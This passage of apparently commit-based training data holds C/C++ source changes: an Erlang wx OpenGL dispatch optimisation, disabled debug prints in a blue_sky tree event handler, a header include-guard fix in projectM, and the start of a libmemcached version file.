ErlDrvTermData, char **, int *);\nWXE_GL_DISPATCH wxe_gl_dispatch;\n\n#ifdef _WIN32\n#define RTLD_LAZY 0\ntypedef HMODULE DL_LIB_P;\nvoid * dlsym(HMODULE Lib, const char *func) {\n  void * funcp;\n  if((funcp = (void *) GetProcAddress(Lib, func)))\n    return funcp;\n  else\n    return (void *) wglGetProcAddress(func);\n}\n\nHMODULE dlopen(const char *path, int unused) {\n  WCHAR * DLL;\n  int len = MultiByteToWideChar(CP_ACP, 0, path, -1, NULL, 0);\n  DLL = (WCHAR *) malloc(len * sizeof(WCHAR));\n  MultiByteToWideChar(CP_ACP, 0, path, -1, DLL, len);\n  HMODULE lib = LoadLibrary(DLL);\n  free(DLL);\n  return lib;\n}\n\nvoid dlclose(HMODULE Lib) {\n  FreeLibrary(Lib);\n}\n#else\ntypedef void * DL_LIB_P;\n#endif\n\nvoid wxe_initOpenGL(wxeReturn rt, char *bp) {\n  DL_LIB_P LIBhandle;\n  int (*init_opengl)(void *);\n#ifdef _WIN32\n  void * erlCallbacks = &WinDynDriverCallbacks;\n#else \n  void * erlCallbacks = NULL;\n#endif\n  \n  if(erl_gl_initiated == FALSE) {\n    if((LIBhandle = dlopen(bp, RTLD_LAZY))) {\n      *(void **) (&init_opengl) = dlsym(LIBhandle, \"egl_init_opengl\");\n      wxe_gl_dispatch = (WXE_GL_DISPATCH) dlsym(LIBhandle, \"egl_dispatch\");\n      if(init_opengl && wxe_gl_dispatch) {\n\t(*init_opengl)(erlCallbacks);\n\trt.addAtom((char *) \"ok\");\n\trt.add(wxString::FromAscii(\"initiated\"));\n\trt.addTupleCount(2);\n\terl_gl_initiated = TRUE;\n      } else {\n\twxString msg;\n\tmsg.Printf(wxT(\"In library: \"));\n\tmsg += wxString::FromAscii(bp);\n\tmsg += wxT(\" functions: \");\n\tif(!init_opengl) \n\t  msg += wxT(\"egl_init_opengl \");\n\tif(!wxe_gl_dispatch) \n\t  msg += wxT(\"egl_dispatch \");\n\trt.addAtom((char *) \"error\");\n\trt.add(msg);\n\trt.addTupleCount(2);\n      }\n    } else {\n      wxString msg;\n      msg.Printf(wxT(\"Could not load dll: \"));\n      msg += wxString::FromAscii(bp);\n      rt.addAtom((char *) \"error\");\n      rt.add(msg);\n      rt.addTupleCount(2);\n    }\n  } else {\n    rt.addAtom((char *) \"ok\");\n    rt.add(wxString::FromAscii(\"already initilized\"));\n    rt.addTupleCount(2);\n  }\n  rt.send();\n}\n\nvoid setActiveGL(ErlDrvTermData caller, wxGLCanvas *canvas)\n{\n  gl_active = caller;\n  glc[caller] = canvas;\n}\n\nvoid deleteActiveGL(wxGLCanvas *canvas)\n{\n  gl_active = 0;\n  wxeGLC::iterator it;\n  for(it = glc.begin(); it != glc.end(); ++it) {\n    if(it->second == canvas) { \n      it->second = (wxGLCanvas *) 0;\n    }\n  }\n}\n\nvoid gl_dispatch(int op, char *bp,ErlDrvTermData caller,WXEBinRef *bins[]){\n  if(caller != gl_active) {\n    wxGLCanvas * current = glc[caller];\n    if(current) { gl_active = caller; current->SetCurrent();}\n    else {\n      ErlDrvTermData rt[] = \/\/ Error msg\n\t{ERL_DRV_ATOM, driver_mk_atom((char *) \"_egl_error_\"),\n\t ERL_DRV_INT,  (ErlDrvTermData) op,\n\t ERL_DRV_ATOM, driver_mk_atom((char *) \"no_gl_context\"),\n\t ERL_DRV_TUPLE,3};\n      erl_drv_send_term(WXE_DRV_PORT,caller,rt,8);\n      return ;\n    }\n  };\n  char * bs[3];\n  int bs_sz[3];\n  for(int i=0; i<3; i++) {\n    if(bins[i]) {\n      bs[i] = bins[i]->base;\n      bs_sz[i] = bins[i]->size;\n    }\n    else \n      bs[i] = NULL;\n  }\n  wxe_gl_dispatch(op, bp, WXE_DRV_PORT_HANDLE, caller, bs, bs_sz);\n}\n\n<commit_msg>wx: Optimize OpenGL invocations<commit_after>\/*\n * %CopyrightBegin%\n *\n * Copyright Ericsson AB 2008-2014. All Rights Reserved.\n *\n * The contents of this file are subject to the Erlang Public License,\n * Version 1.1, (the \"License\"); you may not use this file except in\n * compliance with the License. You should have received a copy of the\n * Erlang Public License along with this software. If not, it can be\n * retrieved online at http:\/\/www.erlang.org\/.\n *\n * Software distributed under the License is distributed on an \"AS IS\"\n * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See\n * the License for the specific language governing rights and limitations\n * under the License.\n *\n * %CopyrightEnd%\n *\/\n\n#include <stdio.h>\n#include <string.h>\n#ifndef _WIN32\n#include <dlfcn.h>\n#else\n#include <windows.h>\n#endif\n#include \"wxe_impl.h\"\n#include \"wxe_return.h\"\n#include \"wxe_gl.h\"\n\n\/* ****************************************************************************\n * Opengl context management *\n * ****************************************************************************\/\n\nint erl_gl_initiated = FALSE;\nErlDrvTermData gl_active = 0;\nwxeGLC glc;\n\ntypedef void (*WXE_GL_DISPATCH) (int, char *, ErlDrvPort, ErlDrvTermData, char **, int *);\nWXE_GL_DISPATCH wxe_gl_dispatch;\n\n#ifdef _WIN32\n#define RTLD_LAZY 0\ntypedef HMODULE DL_LIB_P;\nvoid * dlsym(HMODULE Lib, const char *func) {\n  void * funcp;\n  if((funcp = (void *) GetProcAddress(Lib, func)))\n    return funcp;\n  else\n    return (void *) wglGetProcAddress(func);\n}\n\nHMODULE dlopen(const char *path, int unused) {\n  WCHAR * DLL;\n  int len = MultiByteToWideChar(CP_ACP, 0, path, -1, NULL, 0);\n  DLL = (WCHAR *) malloc(len * sizeof(WCHAR));\n  MultiByteToWideChar(CP_ACP, 0, path, -1, DLL, len);\n  HMODULE lib = LoadLibrary(DLL);\n  free(DLL);\n  return lib;\n}\n\nvoid dlclose(HMODULE Lib) {\n  FreeLibrary(Lib);\n}\n#else\ntypedef void * DL_LIB_P;\n#endif\n\nvoid wxe_initOpenGL(wxeReturn rt, char *bp) {\n  DL_LIB_P LIBhandle;\n  int (*init_opengl)(void *);\n#ifdef _WIN32\n  void * erlCallbacks = &WinDynDriverCallbacks;\n#else \n  void * erlCallbacks = NULL;\n#endif\n  \n  if(erl_gl_initiated == FALSE) {\n    if((LIBhandle = dlopen(bp, RTLD_LAZY))) {\n      *(void **) (&init_opengl) = dlsym(LIBhandle, \"egl_init_opengl\");\n      wxe_gl_dispatch = (WXE_GL_DISPATCH) dlsym(LIBhandle, \"egl_dispatch\");\n      if(init_opengl && wxe_gl_dispatch) {\n\t(*init_opengl)(erlCallbacks);\n\trt.addAtom((char *) \"ok\");\n\trt.add(wxString::FromAscii(\"initiated\"));\n\trt.addTupleCount(2);\n\terl_gl_initiated = TRUE;\n      } else {\n\twxString msg;\n\tmsg.Printf(wxT(\"In library: \"));\n\tmsg += wxString::FromAscii(bp);\n\tmsg += wxT(\" functions: \");\n\tif(!init_opengl) \n\t  msg += wxT(\"egl_init_opengl \");\n\tif(!wxe_gl_dispatch) \n\t  msg += wxT(\"egl_dispatch \");\n\trt.addAtom((char *) \"error\");\n\trt.add(msg);\n\trt.addTupleCount(2);\n      }\n    } else {\n      wxString msg;\n      msg.Printf(wxT(\"Could not load dll: \"));\n      msg += wxString::FromAscii(bp);\n      rt.addAtom((char *) \"error\");\n      rt.add(msg);\n      rt.addTupleCount(2);\n    }\n  } else {\n    rt.addAtom((char *) \"ok\");\n    rt.add(wxString::FromAscii(\"already initilized\"));\n    rt.addTupleCount(2);\n  }\n  rt.send();\n}\n\nvoid setActiveGL(ErlDrvTermData caller, wxGLCanvas *canvas)\n{\n  gl_active = caller;\n  glc[caller] = canvas;\n}\n\nvoid deleteActiveGL(wxGLCanvas *canvas)\n{\n  gl_active = 0;\n  wxeGLC::iterator it;\n  for(it = glc.begin(); it != glc.end(); ++it) {\n    if(it->second == canvas) { \n      it->second = (wxGLCanvas *) 0;\n    }\n  }\n}\n\nvoid gl_dispatch(int op, char *bp,ErlDrvTermData caller,WXEBinRef *bins[]){\n  if(caller != gl_active) {\n    wxGLCanvas * current = glc[caller];\n    if(current) {\n      if(current != glc[gl_active]) {\n\tgl_active = caller;\n\tcurrent->SetCurrent();\n      }\n    } else {\n      ErlDrvTermData rt[] = \/\/ Error msg\n\t{ERL_DRV_ATOM, driver_mk_atom((char *) \"_egl_error_\"),\n\t ERL_DRV_INT,  (ErlDrvTermData) op,\n\t ERL_DRV_ATOM, driver_mk_atom((char *) \"no_gl_context\"),\n\t ERL_DRV_TUPLE,3};\n      erl_drv_send_term(WXE_DRV_PORT,caller,rt,8);\n      return ;\n    }\n  };\n  char * bs[3];\n  int bs_sz[3];\n  for(int i=0; i<3; i++) {\n    if(bins[i]) {\n      bs[i] = bins[i]->base;\n      bs_sz[i] = bins[i]->size;\n    }\n    else \n      bs[i] = NULL;\n  }\n  wxe_gl_dispatch(op, bp, WXE_DRV_PORT_HANDLE, caller, bs, bs_sz);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/ @file\n\/\/\/ @author uentity\n\/\/\/ @date 30.03.2020\n\/\/\/ @brief BS tree node events handling\n\/\/\/ @copyright\n\/\/\/ This Source Code Form is subject to the terms of the Mozilla Public License,\n\/\/\/ v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/\/ You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/\n\n#include \"node_actor.h\"\n#include \"ev_listener_actor.h\"\n#include \"..\/serialize\/tree_impl.h\"\n\n#include <bs\/kernel\/radio.h>\n#include <bs\/log.h>\n#include <bs\/serialize\/cafbind.h>\n#include <bs\/serialize\/tree.h>\n\nNAMESPACE_BEGIN(blue_sky::tree)\n\nauto node::subscribe(event_handler f, Event listen_to) const -> std::uint64_t {\n\tusing namespace kernel::radio;\n\tusing namespace allow_enumops;\n\tusing baby_t = ev_listener_actor<node>;\n\n\tstatic const auto handler_impl = [](\n\t\tbaby_t* self, auto& weak_root, const caf::actor& subn_actor, Event ev, prop::propdict params\n\t) {\n\t\tif(auto r = weak_root.lock()) {\n\t\t\t\/\/ reconstruct subnode via node impl\n\t\t\tauto subnode = node::nil();\n\t\t\tif(subn_actor) {\n\t\t\t\tactorf<sp_nimpl>(subn_actor, kernel::radio::timeout(), a_impl())\n\t\t\t\t.map([&](const sp_nimpl& subn_impl) { subnode = subn_impl->super_engine(); });\n\t\t\t}\n\t\t\t\/\/ invoke callback\n\t\t\tself->f(std::move(r), std::move(subnode), ev, std::move(params));\n\t\t}\n\t\telse \/\/ if root source is dead, quit\n\t\t\tself->quit();\n\t};\n\n\tauto make_ev_character = [weak_root = weak_ptr(*this), listen_to](baby_t* self) {\n\t\tauto res = caf::message_handler{};\n\t\tif(enumval(listen_to & Event::LinkRenamed)) {\n\t\t\tconst auto renamed_impl = [=](\n\t\t\t\tconst caf::actor& subn_actor, auto& lid, auto& new_name, auto& old_name\n\t\t\t) {\n\t\t\t\t\/\/bsout() << \"*-* node: fired LinkRenamed event\" << bs_end;\n\t\t\t\thandler_impl(self, weak_root, subn_actor, Event::LinkRenamed, {\n\t\t\t\t\t{\"link_id\", lid},\n\t\t\t\t\t{\"new_name\", std::move(new_name)},\n\t\t\t\t\t{\"prev_name\", std::move(old_name)}\n\t\t\t\t});\n\t\t\t};\n\n\t\t\t\/\/ this node leaf was renamed\n\t\t\tres = res.or_else(\n\t\t\t\t[=] (\n\t\t\t\t\ta_ack, const lid_type& lid, a_lnk_rename, std::string new_name, std::string old_name\n\t\t\t\t) {\n\t\t\t\t\trenamed_impl({}, lid, new_name, old_name);\n\t\t\t\t}\n\t\t\t);\n\t\t\t\/\/ deeper subtree leaf was renamed\n\t\t\tres = res.or_else(\n\t\t\t\t[=] (\n\t\t\t\t\ta_ack, const caf::actor& src, const lid_type& lid,\n\t\t\t\t\ta_lnk_rename, std::string new_name, std::string old_name\n\t\t\t\t) {\n\t\t\t\t\trenamed_impl(src, lid, new_name, old_name);\n\t\t\t\t}\n\t\t\t);\n\t\t\tbsout() << \"*-* node: subscribed to LinkRenamed event\" << bs_end;\n\t\t}\n\n\t\tif(enumval(listen_to & Event::LinkStatusChanged)) {\n\t\t\tconst auto status_impl = [=](\n\t\t\t\tconst caf::actor& subn_actor, auto& lid, auto req, auto new_s, auto prev_s\n\t\t\t) {\n\t\t\t\t\/\/bsout() << \"*-* node: fired LinkStatusChanged event\" << bs_end;\n\t\t\t\thandler_impl(self, weak_root, subn_actor, Event::LinkStatusChanged, {\n\t\t\t\t\t{\"link_id\", lid},\n\t\t\t\t\t{\"request\", prop::integer(req)},\n\t\t\t\t\t{\"new_status\", prop::integer(new_s)},\n\t\t\t\t\t{\"prev_status\", prop::integer(prev_s)}\n\t\t\t\t});\n\t\t\t};\n\n\t\t\t\/\/ this node leaf status changed\n\t\t\tres = res.or_else(\n\t\t\t\t[=](\n\t\t\t\t\ta_ack, const lid_type& lid,\n\t\t\t\t\ta_lnk_status, Req req, ReqStatus new_s, ReqStatus prev_s\n\t\t\t\t) {\n\t\t\t\t\tstatus_impl({}, lid, req, new_s, prev_s);\n\t\t\t\t}\n\t\t\t);\n\t\t\t\/\/ deeper subtree leaf status changed\n\t\t\tres = res.or_else(\n\t\t\t\t[=](\n\t\t\t\t\ta_ack, const caf::actor& src, const lid_type& lid,\n\t\t\t\t\ta_lnk_status, Req req, ReqStatus new_s, ReqStatus prev_s\n\t\t\t\t) {\n\t\t\t\t\tstatus_impl(src, lid, req, new_s, prev_s);\n\t\t\t\t}\n\t\t\t);\n\t\t\tbsout() << \"*-* node: subscribed to LinkStatusChanged event\" << bs_end;\n\t\t}\n\n\t\tif(enumval(listen_to & Event::DataModified)) {\n\t\t\tconst auto datamod_impl = [=](\n\t\t\t\tconst caf::actor& subn_actor, auto& lid, tr_result::box&& tres_box\n\t\t\t) {\n\t\t\t\t\/\/bsout() << \"*-* node: fired DataModified event\" << bs_end;\n\t\t\t\tauto params = prop::propdict{{ \"link_id\", lid }};\n\t\t\t\tif(auto tres = tr_result{std::move(tres_box)})\n\t\t\t\t\tparams.merge_props(extract_info(std::move(tres)));\n\t\t\t\telse\n\t\t\t\t\tparams[\"error\"] = to_string(extract_err(std::move(tres)));\n\t\t\t\thandler_impl(self, weak_root, subn_actor, Event::DataModified, std::move(params));\n\t\t\t};\n\n\t\t\t\/\/ this node leaf data changed\n\t\t\tres = res.or_else(\n\t\t\t\t[=](a_ack, const lid_type& lid, a_data, tr_result::box trbox) {\n\t\t\t\t\tdatamod_impl({}, lid, std::move(trbox));\n\t\t\t\t}\n\t\t\t);\n\t\t\t\/\/ deeper subtree leaf status changed\n\t\t\tres = res.or_else(\n\t\t\t\t[=](a_ack, const caf::actor& src, const lid_type& lid, a_data, tr_result::box trbox) {\n\t\t\t\t\tdatamod_impl(src, lid, std::move(trbox));\n\t\t\t\t}\n\t\t\t);\n\t\t\tbsout() << \"*-* node: subscribed to DataModified event\" << bs_end;\n\t\t}\n\n\t\tif(enumval(listen_to & Event::LinkInserted)) {\n\t\t\tres = res.or_else(\n\t\t\t\t\/\/ insert\n\t\t\t\t[=](\n\t\t\t\t\ta_ack, const caf::actor& src, a_node_insert,\n\t\t\t\t\tconst lid_type& lid, std::size_t pos\n\t\t\t\t) {\n\t\t\t\t\t\/\/bsout() << \"*-* node: fired LinkInserted event\" << bs_end;\n\t\t\t\t\thandler_impl(self, weak_root, src, Event::LinkInserted, {\n\t\t\t\t\t\t{\"link_id\", lid},\n\t\t\t\t\t\t{\"pos\", (prop::integer)pos}\n\t\t\t\t\t});\n\t\t\t\t},\n\t\t\t\t\/\/ move\n\t\t\t\t[=](\n\t\t\t\t\ta_ack, const caf::actor& src, a_node_insert,\n\t\t\t\t\tconst lid_type& lid, std::size_t to_idx, std::size_t from_idx\n\t\t\t\t) {\n\t\t\t\t\t\/\/bsout() << \"*-* node: fired LinkInserted event (move)\" << bs_end;\n\t\t\t\t\thandler_impl(self, weak_root, src, Event::LinkInserted, {\n\t\t\t\t\t\t{\"link_id\", lid},\n\t\t\t\t\t\t{\"to_idx\", (prop::integer)to_idx},\n\t\t\t\t\t\t{\"from_idx\", (prop::integer)from_idx}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t);\n\t\t\tbsout() << \"*-* node: subscribed to LinkInserted event\" << bs_end;\n\t\t}\n\n\t\tif(enumval(listen_to & Event::LinkErased)) {\n\t\t\tres = res.or_else(\n\t\t\t\t[=](\n\t\t\t\t\ta_ack, const caf::actor& src, a_node_erase, lids_v lids\n\t\t\t\t) {\n\t\t\t\t\t\/\/bsout() << \"*-* node: fired LinkErased event\" << bs_end;\n\t\t\t\t\thandler_impl(self, weak_root, src, Event::LinkErased, {\n\t\t\t\t\t\t{\"lids\", std::move(lids)}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t);\n\t\t\tbsout() << \"*-* node: subscribed to LinkErased event\" << bs_end;\n\t\t}\n\n\t\treturn res;\n\t};\n\n\t\/\/ make shiny new subscriber actor and place into parent's room\n\tauto baby = system().spawn<baby_t>(raw_actor().address(), std::move(f), std::move(make_ev_character));\n\t\/\/ ensure it has started & properly initialized\n\tif(auto res = actorf<std::uint64_t>(\n\t\t*factor(), pimpl()->actor(*this), infinite, a_subscribe(), std::move(baby)\n\t))\n\t\treturn *res;\n\telse\n\t\tthrow res.error();\n}\n\nauto node::unsubscribe(std::uint64_t event_cb_id) -> void {\n\tkernel::radio::bye_actor(event_cb_id);\n}\n\nNAMESPACE_END(blue_sky::tree)\n<commit_msg>tree\/node\/events: disable debug prints<commit_after>\/\/\/ @file\n\/\/\/ @author uentity\n\/\/\/ @date 30.03.2020\n\/\/\/ @brief BS tree node events handling\n\/\/\/ @copyright\n\/\/\/ This Source Code Form is subject to the terms of the Mozilla Public License,\n\/\/\/ v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/\/ You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/\n\n#include \"node_actor.h\"\n#include \"ev_listener_actor.h\"\n#include \"..\/serialize\/tree_impl.h\"\n\n#include <bs\/kernel\/radio.h>\n#include <bs\/log.h>\n#include <bs\/serialize\/cafbind.h>\n#include <bs\/serialize\/tree.h>\n\nNAMESPACE_BEGIN(blue_sky::tree)\n\nauto node::subscribe(event_handler f, Event listen_to) const -> std::uint64_t {\n\tusing namespace kernel::radio;\n\tusing namespace allow_enumops;\n\tusing baby_t = ev_listener_actor<node>;\n\n\tstatic const auto handler_impl = [](\n\t\tbaby_t* self, auto& weak_root, const caf::actor& subn_actor, Event ev, prop::propdict params\n\t) {\n\t\tif(auto r = weak_root.lock()) {\n\t\t\t\/\/ reconstruct subnode via node impl\n\t\t\tauto subnode = node::nil();\n\t\t\tif(subn_actor) {\n\t\t\t\tactorf<sp_nimpl>(subn_actor, kernel::radio::timeout(), a_impl())\n\t\t\t\t.map([&](const sp_nimpl& subn_impl) { subnode = subn_impl->super_engine(); });\n\t\t\t}\n\t\t\t\/\/ invoke callback\n\t\t\tself->f(std::move(r), std::move(subnode), ev, std::move(params));\n\t\t}\n\t\telse \/\/ if root source is dead, quit\n\t\t\tself->quit();\n\t};\n\n\tauto make_ev_character = [weak_root = weak_ptr(*this), listen_to](baby_t* self) {\n\t\tauto res = caf::message_handler{};\n\t\tif(enumval(listen_to & Event::LinkRenamed)) {\n\t\t\tconst auto renamed_impl = [=](\n\t\t\t\tconst caf::actor& subn_actor, auto& lid, auto& new_name, auto& old_name\n\t\t\t) {\n\t\t\t\t\/\/bsout() << \"*-* node: fired LinkRenamed event\" << bs_end;\n\t\t\t\thandler_impl(self, weak_root, subn_actor, Event::LinkRenamed, {\n\t\t\t\t\t{\"link_id\", lid},\n\t\t\t\t\t{\"new_name\", std::move(new_name)},\n\t\t\t\t\t{\"prev_name\", std::move(old_name)}\n\t\t\t\t});\n\t\t\t};\n\n\t\t\t\/\/ this node leaf was renamed\n\t\t\tres = res.or_else(\n\t\t\t\t[=] (\n\t\t\t\t\ta_ack, const lid_type& lid, a_lnk_rename, std::string new_name, std::string old_name\n\t\t\t\t) {\n\t\t\t\t\trenamed_impl({}, lid, new_name, old_name);\n\t\t\t\t}\n\t\t\t);\n\t\t\t\/\/ deeper subtree leaf was renamed\n\t\t\tres = res.or_else(\n\t\t\t\t[=] (\n\t\t\t\t\ta_ack, const caf::actor& src, const lid_type& lid,\n\t\t\t\t\ta_lnk_rename, std::string new_name, std::string old_name\n\t\t\t\t) {\n\t\t\t\t\trenamed_impl(src, lid, new_name, old_name);\n\t\t\t\t}\n\t\t\t);\n\t\t\t\/\/bsout() << \"*-* node: subscribed to LinkRenamed event\" << bs_end;\n\t\t}\n\n\t\tif(enumval(listen_to & Event::LinkStatusChanged)) {\n\t\t\tconst auto status_impl = [=](\n\t\t\t\tconst caf::actor& subn_actor, auto& lid, auto req, auto new_s, auto prev_s\n\t\t\t) {\n\t\t\t\t\/\/bsout() << \"*-* node: fired LinkStatusChanged event\" << bs_end;\n\t\t\t\thandler_impl(self, weak_root, subn_actor, Event::LinkStatusChanged, {\n\t\t\t\t\t{\"link_id\", lid},\n\t\t\t\t\t{\"request\", prop::integer(req)},\n\t\t\t\t\t{\"new_status\", prop::integer(new_s)},\n\t\t\t\t\t{\"prev_status\", prop::integer(prev_s)}\n\t\t\t\t});\n\t\t\t};\n\n\t\t\t\/\/ this node leaf status changed\n\t\t\tres = res.or_else(\n\t\t\t\t[=](\n\t\t\t\t\ta_ack, const lid_type& lid,\n\t\t\t\t\ta_lnk_status, Req req, ReqStatus new_s, ReqStatus prev_s\n\t\t\t\t) {\n\t\t\t\t\tstatus_impl({}, lid, req, new_s, prev_s);\n\t\t\t\t}\n\t\t\t);\n\t\t\t\/\/ deeper subtree leaf status changed\n\t\t\tres = res.or_else(\n\t\t\t\t[=](\n\t\t\t\t\ta_ack, const caf::actor& src, const lid_type& lid,\n\t\t\t\t\ta_lnk_status, Req req, ReqStatus new_s, ReqStatus prev_s\n\t\t\t\t) {\n\t\t\t\t\tstatus_impl(src, lid, req, new_s, prev_s);\n\t\t\t\t}\n\t\t\t);\n\t\t\t\/\/bsout() << \"*-* node: subscribed to LinkStatusChanged event\" << bs_end;\n\t\t}\n\n\t\tif(enumval(listen_to & Event::DataModified)) {\n\t\t\tconst auto datamod_impl = [=](\n\t\t\t\tconst caf::actor& subn_actor, auto& lid, tr_result::box&& tres_box\n\t\t\t) {\n\t\t\t\t\/\/bsout() << \"*-* node: fired DataModified event\" << bs_end;\n\t\t\t\tauto params = prop::propdict{{ \"link_id\", lid }};\n\t\t\t\tif(auto tres = tr_result{std::move(tres_box)})\n\t\t\t\t\tparams.merge_props(extract_info(std::move(tres)));\n\t\t\t\telse\n\t\t\t\t\tparams[\"error\"] = to_string(extract_err(std::move(tres)));\n\t\t\t\thandler_impl(self, weak_root, subn_actor, Event::DataModified, std::move(params));\n\t\t\t};\n\n\t\t\t\/\/ this node leaf data changed\n\t\t\tres = res.or_else(\n\t\t\t\t[=](a_ack, const lid_type& lid, a_data, tr_result::box trbox) {\n\t\t\t\t\tdatamod_impl({}, lid, std::move(trbox));\n\t\t\t\t}\n\t\t\t);\n\t\t\t\/\/ deeper subtree leaf status changed\n\t\t\tres = res.or_else(\n\t\t\t\t[=](a_ack, const caf::actor& src, const lid_type& lid, a_data, tr_result::box trbox) {\n\t\t\t\t\tdatamod_impl(src, lid, std::move(trbox));\n\t\t\t\t}\n\t\t\t);\n\t\t\t\/\/bsout() << \"*-* node: subscribed to DataModified event\" << bs_end;\n\t\t}\n\n\t\tif(enumval(listen_to & Event::LinkInserted)) {\n\t\t\tres = res.or_else(\n\t\t\t\t\/\/ insert\n\t\t\t\t[=](\n\t\t\t\t\ta_ack, const caf::actor& src, a_node_insert,\n\t\t\t\t\tconst lid_type& lid, std::size_t pos\n\t\t\t\t) {\n\t\t\t\t\t\/\/bsout() << \"*-* node: fired LinkInserted event\" << bs_end;\n\t\t\t\t\thandler_impl(self, weak_root, src, Event::LinkInserted, {\n\t\t\t\t\t\t{\"link_id\", lid},\n\t\t\t\t\t\t{\"pos\", (prop::integer)pos}\n\t\t\t\t\t});\n\t\t\t\t},\n\t\t\t\t\/\/ move\n\t\t\t\t[=](\n\t\t\t\t\ta_ack, const caf::actor& src, a_node_insert,\n\t\t\t\t\tconst lid_type& lid, std::size_t to_idx, std::size_t from_idx\n\t\t\t\t) {\n\t\t\t\t\t\/\/bsout() << \"*-* node: fired LinkInserted event (move)\" << bs_end;\n\t\t\t\t\thandler_impl(self, weak_root, src, Event::LinkInserted, {\n\t\t\t\t\t\t{\"link_id\", lid},\n\t\t\t\t\t\t{\"to_idx\", (prop::integer)to_idx},\n\t\t\t\t\t\t{\"from_idx\", (prop::integer)from_idx}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t);\n\t\t\t\/\/bsout() << \"*-* node: subscribed to LinkInserted event\" << bs_end;\n\t\t}\n\n\t\tif(enumval(listen_to & Event::LinkErased)) {\n\t\t\tres = res.or_else(\n\t\t\t\t[=](\n\t\t\t\t\ta_ack, const caf::actor& src, a_node_erase, lids_v lids\n\t\t\t\t) {\n\t\t\t\t\t\/\/bsout() << \"*-* node: fired LinkErased event\" << bs_end;\n\t\t\t\t\thandler_impl(self, weak_root, src, Event::LinkErased, {\n\t\t\t\t\t\t{\"lids\", std::move(lids)}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t);\n\t\t\t\/\/bsout() << \"*-* node: subscribed to LinkErased event\" << bs_end;\n\t\t}\n\n\t\treturn res;\n\t};\n\n\t\/\/ make shiny new subscriber actor and place into parent's room\n\tauto baby = system().spawn<baby_t>(raw_actor().address(), std::move(f), std::move(make_ev_character));\n\t\/\/ ensure it has started & properly initialized\n\tif(auto res = actorf<std::uint64_t>(\n\t\t*factor(), pimpl()->actor(*this), infinite, a_subscribe(), std::move(baby)\n\t))\n\t\treturn *res;\n\telse\n\t\tthrow res.error();\n}\n\nauto node::unsubscribe(std::uint64_t event_cb_id) -> void {\n\tkernel::radio::bye_actor(event_cb_id);\n}\n\nNAMESPACE_END(blue_sky::tree)\n<|endoftext|>"}
{"text":"<commit_before>#ifndef QPROJECTM_CONFIG_DIALOG_HPP\n#include \"ui_QProjectMConfigDialog.h\"\n#include \"QProjectM_MainWindow.hpp\"\n\nclass QProjectMConfigDialog : public QDialog {\n\n\tQ_OBJECT\n\n\tpublic:\n\t\tQProjectMConfigDialog(const std::string & configFile, QProjectMWidget * widget, QWidget * parent = 0, Qt::WindowFlags f = 0);\n\tprivate:\n\t\tvoid loadConfig();\n\n\tprivate slots:\n\t\tvoid saveConfig();\n\t\tvoid buttonBoxHandler(QAbstractButton * button);\n\n\tprivate:\n\t\t const std::string _configFile;\n\t\t QProjectMWidget * _qprojectMWidget;\n\t\t Ui::QProjectMConfigDialog _ui;\n\t\t void populateTextureSizeComboBox();\n\tsignals:\n\t\tvoid projectM_Reset();\n};\n#endif\n<commit_msg>fixed ifndef header include bug in config dialog hpp<commit_after>#ifndef QPROJECTM_CONFIG_DIALOG_HPP\n#define QPROJECTM_CONFIG_DIALOG_HPP\n#include \"ui_QProjectMConfigDialog.h\"\n#include \"QProjectM_MainWindow.hpp\"\n\nclass QProjectMConfigDialog : public QDialog {\n\n\tQ_OBJECT\n\n\tpublic:\n\t\tQProjectMConfigDialog(const std::string & configFile, QProjectMWidget * widget, QWidget * parent = 0, Qt::WindowFlags f = 0);\n\tprivate:\n\t\tvoid loadConfig();\n\n\tprivate slots:\n\t\tvoid saveConfig();\n\t\tvoid buttonBoxHandler(QAbstractButton * button);\n\n\tprivate:\n\t\t const std::string _configFile;\n\t\t QProjectMWidget * _qprojectMWidget;\n\t\t Ui::QProjectMConfigDialog _ui;\n\t\t void populateTextureSizeComboBox();\n\tsignals:\n\t\tvoid projectM_Reset();\n};\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*  vim:expandtab:shiftwidth=2:tabstop=2:smarttab:\n * \n *  Libmemcached library\n *\n *  Copyright (C) 2011 Data Differential, http:\/\/datadifferential.com\/\n *  Copyright (C) 2010 Brian Aker All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions are\n *  met:\n *\n *      * Redistributions of source code must retain the above copyright\n *  notice, this list of conditions and the following disclaimer.\n *\n *      * Redistributions in binary form must reproduce the above\n *  copyright notice, this list of conditions and the following disclaimer\n *  in the documentation and\/or other materials provided with the\n *  distribution.\n *\n *      * The names of its contributors may not be used to endorse or\n *  promote products derived from this software without specific prior\n *  written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n *  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n *  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n *  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n *  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n *  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n *  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n *  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n *  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n#include <libmemcached\/common.h>\n\nconst char * memcached_lib_version(void) \n{\n  return LIBMEMCACHED_VERSION_STRING;\n}\n\nstatic inline memcached_return_t memcached_version_textual(memcached_st *ptr)\n{\n  libmemcached_io_vector_st 